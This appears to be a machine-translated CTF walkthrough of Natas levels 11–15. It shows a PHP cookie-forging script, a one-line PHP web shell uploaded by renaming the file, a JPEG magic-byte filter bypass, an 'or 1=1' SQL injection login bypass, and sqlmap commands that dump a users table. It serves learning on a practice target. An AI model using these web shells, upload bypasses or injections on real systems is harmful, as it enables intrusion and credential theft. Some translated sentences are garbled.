Natas Web. Passage der CTF-Plattform zur Ausnutzung von Web-Schwachstellen. Teil 2

Bild

In diesem Artikel werden wir uns am Beispiel des Natas- Kriegsspiels mit der Funktionsweise einiger WEB-Identitäten befassen. Jede Ebene hat Zugriff auf das Passwort der nächsten Ebene. Alle Passwörter werden auch in den Dateien / etc / natas_webpass / gespeichert. Beispielsweise wird das Kennwort für natas5 in der Datei / etc / natas_webpass / natas5 gespeichert und ist für die Benutzer natas4 und natas5 schreibgeschützt.

Organisationsinformationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:

  • PWN;
  • Kryptographie (Krypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Kanal und eine Gruppe eingerichtet, um alle Probleme im Bereich ICD zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen persönlich prüfen und alle beantworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.

Level 11


Analysieren Sie den Code:

  1. Das Kennwort ist verfügbar, wenn der Wert aus dem Datenarray mit dem Schlüssel showpassword "yes" lautet.

    Bild
  2. Das Datenarray wird von der Funktion loadData erstellt, an die Standarddaten als Parameter übergeben werden.

    Bild

    Bild
  3. Die Funktion loadData lädt Datenwerte aus einem Cookie (codiert Daten in base64, verschlüsselt xor auf einem unbekannten Schlüssel, decodiert Daten im json-Format).

    Bild

    Bild
  4. legt die empfangenen Werte fest.

Was Sie tun müssen:

  1. XOR-Verschlüsselungsschlüssel wiederherstellen:
    • verschlüsselte Daten aus einem Cookie entnehmen;
    • decodiere base64;
    • Standarddaten im JSON-Format codieren;
    • Proxor erhielt Zeitpläne.
  2. verschlüsseln und verschlüsseln Sie die neuen Daten mit dem inversen Algorithmus, wobei showpassword == yes ;
  3. Fügen Sie die neuen Daten in das Cookie ein und laden Sie die Seite neu.

Bild

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?> 

Bild

Bild

Stufe 12


Wenn Sie die Datei auf der Site speichern, wird sie unter einem zufälligen Namen und einer JPEG-Erweiterung gespeichert. Das Wichtigste ist jedoch, dass dieser Name gebildet und dem Benutzer in einem ausgeblendeten Feld des ausgeblendeten Formulars bereitgestellt wird, noch bevor die Datei ausgewählt und anschließend mit der Datei an den Server gesendet wird.

Bild

Aufgabe: PHP-Shell erstellen, Anfrage an den Server abfangen und
Ändern Sie den Dateinamen in * .php.

 <? echo system($_GET["cmd"]); ?> 

Bild

Wir verwenden Burp Suite: Wir setzen die Browser-Proxy-Einstellungen auf 127.0.0.1:8080. Senden Sie die Shell. Auf der Registerkarte Proxy ersetzen wir die Anfrage.

Bild

Bild

Bild

Wir wenden uns unserer Datei auf dem Server zu und übergeben Befehle über den Parameter cmd an die Befehlszeile.

 cat /etc/natas_webpass/natas13 

Bild
Diese Art von Sicherheitsanfälligkeit wird als uneingeschränktes Hochladen von Dateien klassifiziert.

Um eine Shell zu erstellen, verwenden Sie am besten PHP-Konstanten, da die Ausführung von Systemfunktionen durch die Servereinstellungen möglicherweise verboten ist.

Stufe 13


Wenn Sie dieselbe Shell auf dem Server speichern, wird uns mitgeteilt, dass dies kein Image ist. Wir analysieren den Code.

Bild

Die Funktion exif_imagetype ist vorhanden.

Bild

Bild

Zum Überprüfen der JPEG-Datei verwendet diese Funktion die interne Funktion is_jpeg, die die ersten vier Bytes der Datei überprüft.

Bild

Tatsache ist, dass der PHP-Interpreter Code ausführt, der zwischen <? ?>, alle anderen Zeichen überspringen. Öffnen Sie die Shell der vorherigen Ebene im Hex-Editor und fügen Sie am Anfang der Datei die Bytes 0xFFD8FFE0 hinzu.

Bild

Senden Sie es analog zur vorherigen Ebene an die Site und erhalten Sie ein Passwort.

Bild

Stufe 14


Ein häufiger Fehler im Autorisierungsformular. Datenbankabfrage:

 SELECT * from users where username="username" and password="password"; 

Bild

Es ist möglich, die Anfrage immer wahr zu machen: login = "admin" oder 1 = 1 - ".

Bild

In diesem Fall gibt 1 = 1 true zurück und der Rest der Anforderung wird auskommentiert:

 SELECT * from users where username="admin" or 1=1; 

Wir nehmen das Passwort weg.

Bild
Diese Art von Sicherheitsanfälligkeit gehört zur Kategorie SQL Injection.

Stufe 15


In diesem Formular analysieren wir den Betrieb von sqlmap. Senden Sie eine Anfrage und fangen Sie die Daten und den HTTP-Header ab.

Bild

Bild

Wir wählen nur die notwendigen Informationen aus der Kopfzeile aus. In diesem Fall: User-Agent, Referer, Authorization. Legen Sie die sqlmap-Parameter fest:

  • -u "URL"
  • --headers = "HTTP-Header, getrennt durch" \ n ""
  • --data = "POST-Anforderungsdaten"
  • --current-db - Bestimmen Sie, welche Datenbank verwendet wird
  • --tamper = space2comment - Ersetzen Sie das Leerzeichen durch die Zeichenfolge / ** / (in SQL ist dies dasselbe)
  • --level = (1-5) - Scan-Level
  • --risk = (1-3) - Scanrisiko

Bild

Sqlmap stellte fest, dass der Benutzername-Parameter für die boolesche Blindinjektion anfällig ist, und zeigte die richtige Datenbankantwort auf das richtige Ereignis an (im nachfolgenden Scan können Sie den anfälligen Parameter und die Art der Injektion sofort angeben: -p Benutzername und --technique = B).
B: Boolesche Blind SQL-Injektion
U: SQL-Injection für UNION-Abfragen
T: Zeitbasierte Blind-SQL-Injection
E: Fehlerbasierte SQL-Injection
S: SQL-Injection für gestapelte Abfragen

Sqlmap hat das MySQL-DBMS erkannt (in nachfolgenden Scans den Parameter --dbms = MySQL) und gefragt, ob die Version von mysql ermittelt werden muss (Standard ist yes).

Bild

Sqlmap berichtete, dass die Version von MySQL> = 5.0.12 ist (dies ist erforderlich, um die DBMS-Dienstprogrammkonstanten auszuwählen).

Bild

Sqlmap hat die Last für den Benutzernamen-Parameter ermittelt und gefragt, ob andere Parameter überprüft werden sollen (standardmäßig nein). Es zeigt auch die Last.

Bild

Bietet Informationen zum Knoten und, wie von uns angefordert, zur aktuellen Datenbank: natas15.

Bild

Bild

Angesichts der neuen bekannten Daten finden wir die Tabellen aus der natas15-Datenbank heraus:

  • -D "Datenbank"
  • --tables - Tabellen definieren

Bild

Sqlmap hat eine Benutzertabelle definiert.

Bild

Wir erkennen die Spalten in der Benutzertabelle:

  • -T "Tisch"
  • --columns - definiert Spalten

Bild

Sqlmap hat 2 Spalten definiert.

Bild

Wir sichern die Benutzertabelle (Option --dump). Die Müllkippe dauerte 3 Minuten. Wir führen die Anfrage in 8 Threads (--threads 8) aus - als Ergebnis: 1 Minute.

Bild

Wir nehmen das Passwort weg.

Fortsetzung folgt. Sie können sich uns per Telegramm anschließen .

Source: https://habr.com/ru/post/de464443/


All Articles